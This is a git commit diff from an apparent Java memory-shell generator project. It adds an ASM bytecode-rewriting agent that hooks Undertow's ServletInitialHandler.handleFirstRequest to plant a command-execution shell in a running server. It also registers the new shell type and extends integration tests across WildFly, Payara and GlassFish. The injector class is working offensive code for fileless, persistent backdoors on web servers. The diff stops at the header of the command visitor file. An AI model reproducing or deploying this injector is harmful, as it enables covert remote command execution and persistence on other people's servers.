feat: support undertow agent with asm (#51)

ReaJason · ReaJason · commit 255bfbd98597 · 2025-03-28T22:59:26.000+08:00
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/Server.java b/generator/src/main/java/com/reajason/javaweb/memshell/Server.java
@@ -232,6 +232,7 @@ public enum Server {
                 .addShellClass(CATALINA_AGENT_CONTEXT_VALVE_ASM, CommandFilterChainAsmMethodVisitor.class)
                 .addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class)
                 .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
+                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, CommandServerInitialHandlerAsmMethodVisitor.class)
                 .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)
                 .addShellClass(WAS_AGENT_FILTER_MANAGER, CommandFilterChainAdvisor.class)
                 .build());
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java b/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java
@@ -19,13 +19,15 @@ public class ShellType {
     public static final String NETTY_HANDLER = "NettyHandler";
 
     public static final String AGENT = "Agent";
+    public static final String ASM = "ASM";
 
     public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
-    public static final String AGENT_FILTER_CHAIN_ASM = AGENT + "FilterChainASM";
+    public static final String AGENT_FILTER_CHAIN_ASM = AGENT + "FilterChain" + ASM;
     public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
-    public static final String CATALINA_AGENT_CONTEXT_VALVE_ASM = AGENT + "ContextValveASM";
+    public static final String CATALINA_AGENT_CONTEXT_VALVE_ASM = AGENT + "ContextValve" + ASM;
     public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
     public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
+    public static final String UNDERTOW_AGENT_SERVLET_HANDLER_ASM = AGENT + "ServletHandler" + ASM;
     public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
     public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
 
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/UndertowShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/UndertowShell.java
@@ -1,9 +1,6 @@
 package com.reajason.javaweb.memshell.server;
 
-import com.reajason.javaweb.memshell.injector.undertow.UndertowFilterInjector;
-import com.reajason.javaweb.memshell.injector.undertow.UndertowListenerInjector;
-import com.reajason.javaweb.memshell.injector.undertow.UndertowServletInitialHandlerAgentInjector;
-import com.reajason.javaweb.memshell.injector.undertow.UndertowServletInjector;
+import com.reajason.javaweb.memshell.injector.undertow.*;
 import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
 import net.bytebuddy.asm.Advice;
 import net.bytebuddy.implementation.bytecode.assign.Assigner;
@@ -48,6 +45,7 @@ public InjectorMapping getShellInjectorMapping() {
                 .addInjector(LISTENER, UndertowListenerInjector.class)
                 .addInjector(JAKARTA_LISTENER, UndertowListenerInjector.class)
                 .addInjector(UNDERTOW_AGENT_SERVLET_HANDLER, UndertowServletInitialHandlerAgentInjector.class)
+                .addInjector(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, UndertowServletInitialHandlerAgentWithAsmInjector.class)
                 .build();
     }
 }
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java
@@ -60,7 +60,7 @@ static Stream<Arguments> casesProvider() {
         List<String> supportedShellTypes = List.of(
                 ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
                 ShellType.AGENT_FILTER_CHAIN,
-//                ShellType.AGENT_FILTER_CHAIN_ASM,
+//                ShellType.AGENT_FILTER_CHAIN_ASM, 内置了 asm 但是版本太低
                 ShellType.CATALINA_AGENT_CONTEXT_VALVE
 //                ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
         );
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java
@@ -51,7 +51,11 @@ public class Payara5201ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         Server server = Server.Payara;
-        List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
+        List<String> supportedShellTypes = List.of(
+                ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
+                ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE
+//                ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM // 内置了 ASM，但是版本较低，是 7 版本不兼容
+        );
         List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.ScriptEngine);
         return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
     }
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java
@@ -51,7 +51,11 @@ public class Payara520225ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         Server server = Server.Payara;
-        List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
+        List<String> supportedShellTypes = List.of(
+                ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
+                ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE,
+                ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
+        );
         List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.ScriptEngine);
         return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
     }
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java
@@ -51,7 +51,11 @@ public class Payara620222ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         Server server = Server.Payara;
-        List<String> supportedShellTypes = List.of(ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
+        List<String> supportedShellTypes = List.of(
+                ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE,
+                ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE,
+                ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
+        );
         List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
         return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
     }
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java
@@ -51,7 +51,11 @@ public class Wildfly18ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         Server server = Server.Undertow;
-        List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.UNDERTOW_AGENT_SERVLET_HANDLER);
+        List<String> supportedShellTypes = List.of(
+                ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
+                ShellType.UNDERTOW_AGENT_SERVLET_HANDLER,
+                ShellType.UNDERTOW_AGENT_SERVLET_HANDLER_ASM
+        );
         List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
         return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
     }
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java
@@ -51,7 +51,11 @@ public class Wildfly23ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         Server server = Server.Undertow;
-        List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.UNDERTOW_AGENT_SERVLET_HANDLER);
+        List<String> supportedShellTypes = List.of(
+                ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
+                ShellType.UNDERTOW_AGENT_SERVLET_HANDLER,
+                ShellType.UNDERTOW_AGENT_SERVLET_HANDLER_ASM
+        );
         List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
         return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
     }
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java
@@ -51,7 +51,11 @@ public class Wildfly30ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         Server server = Server.Undertow;
-        List<String> supportedShellTypes = List.of(ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.UNDERTOW_AGENT_SERVLET_HANDLER);
+        List<String> supportedShellTypes = List.of(
+                ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER,
+                ShellType.UNDERTOW_AGENT_SERVLET_HANDLER,
+                ShellType.UNDERTOW_AGENT_SERVLET_HANDLER_ASM
+        );
         List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
         return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
                 null, List.of(ShellTool.AntSword) // AntSword not support jakarta
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java
@@ -55,7 +55,11 @@ public class Wildfly9ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         Server server = Server.Undertow;
-        List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.UNDERTOW_AGENT_SERVLET_HANDLER);
+        List<String> supportedShellTypes = List.of(
+                ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
+                ShellType.UNDERTOW_AGENT_SERVLET_HANDLER,
+                ShellType.UNDERTOW_AGENT_SERVLET_HANDLER_ASM
+        );
         List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.ScriptEngine);
         List<Triple<String, ShellTool, Packers>> unSupportedCases = List.of(
                 Triple.of(ShellType.UNDERTOW_AGENT_SERVLET_HANDLER, ShellTool.AntSword, Packers.AgentJar)  // Request ClassNotFound in module
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInitialHandlerAgentWithAsmInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInitialHandlerAgentWithAsmInjector.java
@@ -0,0 +1,99 @@
+package com.reajason.javaweb.memshell.injector.undertow;
+
+import org.objectweb.asm.*;
+
+import java.lang.instrument.ClassFileTransformer;
+import java.lang.instrument.Instrumentation;
+import java.lang.reflect.Constructor;
+import java.security.ProtectionDomain;
+
+/**
+ * @author ReaJason
+ * @since 2025/3/26
+ */
+public class UndertowServletInitialHandlerAgentWithAsmInjector implements ClassFileTransformer {
+    private static final String TARGET_CLASS = "io/undertow/servlet/handlers/ServletInitialHandler";
+    private static final String TARGET_METHOD_NAME = "handleFirstRequest";
+
+    static Constructor<?> constructor = null;
+
+    static {
+        try {
+            Class<?> clazz = Class.forName(getClassName());
+            constructor = clazz.getConstructors()[0];
+            constructor.setAccessible(true);
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public UndertowServletInitialHandlerAgentWithAsmInjector() {
+    }
+
+    @Override
+    public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
+                            ProtectionDomain protectionDomain, byte[] bytes) {
+        if (TARGET_CLASS.equals(className)) {
+            try {
+                ClassReader cr = new ClassReader(bytes);
+                ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
+                    @Override
+                    protected ClassLoader getClassLoader() {
+                        return loader;
+                    }
+                };
+                ClassVisitor cv = getClassVisitor(cw);
+                cr.accept(cv, ClassReader.EXPAND_FRAMES);
+                return cw.toByteArray();
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+        }
+        return bytes;
+    }
+
+    public static String getClassName() {
+        return "{{advisorName}}";
+    }
+
+    public static ClassVisitor getClassVisitor(ClassVisitor cv) {
+        return new ClassVisitor(Opcodes.ASM9, cv) {
+            @Override
+            public MethodVisitor visitMethod(int access, String name, String descriptor,
+                                             String signature, String[] exceptions) {
+                MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
+                System.out.println(name);
+                if (TARGET_METHOD_NAME.equals(name)) {
+                    try {
+                        Type[] argumentTypes = Type.getArgumentTypes(descriptor);
+                        System.out.println(argumentTypes.length);
+                        return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
+                    } catch (Exception e) {
+                        e.printStackTrace();
+                    }
+                }
+                return mv;
+            }
+        };
+    }
+
+    public static void premain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    public static void agentmain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    private static void launch(Instrumentation inst) throws Exception {
+        System.out.println("MemShell Agent is starting");
+        inst.addTransformer(new UndertowServletInitialHandlerAgentWithAsmInjector(), true);
+        for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
+            String name = allLoadedClass.getName();
+            if (TARGET_CLASS.replace("/", ".").equals(name)) {
+                inst.retransformClasses(allLoadedClass);
+            }
+        }
+        System.out.println("MemShell Agent is working at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest");
+    }
+}
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/undertow/CommandServerInitialHandlerAsmMethodVisitor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/undertow/CommandServerInitialHandlerAsmMethodVisitor.java
